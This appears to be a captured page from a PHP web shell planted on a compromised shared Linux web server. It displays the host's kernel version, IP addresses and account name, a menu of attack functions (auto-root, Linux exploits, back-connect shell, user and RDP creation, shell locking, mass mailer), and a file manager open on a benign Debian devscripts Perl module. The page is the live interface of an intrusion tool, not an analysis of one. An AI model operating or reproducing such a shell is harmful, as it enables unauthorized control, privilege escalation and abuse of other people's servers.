Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Devscripts /
Salsa /
[ HOME SHELL ]
Name
Size
Permission
Action
Config.pm
10.72
KB
-rw-r--r--
Hooks.pm
7.9
KB
-rw-r--r--
Repo.pm
1.87
KB
-rw-r--r--
add_user.pm
976
B
-rw-r--r--
check_repo.pm
5.08
KB
-rw-r--r--
checkout.pm
2.08
KB
-rw-r--r--
create_repo.pm
1.13
KB
-rw-r--r--
del_repo.pm
602
B
-rw-r--r--
del_user.pm
733
B
-rw-r--r--
fork.pm
711
B
-rw-r--r--
forks.pm
892
B
-rw-r--r--
group.pm
724
B
-rw-r--r--
join.pm
452
B
-rw-r--r--
last_ci_status.pm
2.31
KB
-rw-r--r--
list_groups.pm
882
B
-rw-r--r--
list_repos.pm
876
B
-rw-r--r--
merge_request.pm
6.05
KB
-rw-r--r--
merge_requests.pm
1.05
KB
-rw-r--r--
protect_branch.pm
1.1
KB
-rw-r--r--
protected_branches.pm
761
B
-rw-r--r--
purge_cache.pm
285
B
-rw-r--r--
push.pm
3.12
KB
-rw-r--r--
push_repo.pm
1.65
KB
-rw-r--r--
rename_branch.pm
1.14
KB
-rw-r--r--
search_group.pm
776
B
-rw-r--r--
search_project.pm
1.38
KB
-rw-r--r--
search_user.pm
700
B
-rw-r--r--
update_repo.pm
4.15
KB
-rw-r--r--
update_safe.pm
569
B
-rw-r--r--
update_user.pm
883
B
-rw-r--r--
whoami.pm
578
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rename_branch.pm
package Devscripts::Salsa::rename_branch; use strict; use Devscripts::Output; use Moo::Role; with "Devscripts::Salsa::Repo"; our $prompt = 1; sub rename_branch { my ($self, @reponames) = @_; my $res = 0; my @repos = $self->get_repo($prompt, @reponames); return @repos unless (ref $repos[0]); # get_repo returns 1 when fails foreach (@repos) { my $id = $_->[0]; ds_verbose "Configuring $_->[1]"; my $project = $self->api->project($_->[0]); eval { $self->api->create_branch( $id, { ref => $self->config->source_branch, branch => $self->config->dest_branch, }); $self->api->delete_branch($id, $self->config->source_branch); }; if ($@) { $res++; if ($self->config->no_fail) { ds_verbose $@; ds_warn "Branch rename has failed for $_->[1]. Use --verbose to see errors\n"; next; } else { ds_warn $@; return 1; } } } return $res; } 1;
Close
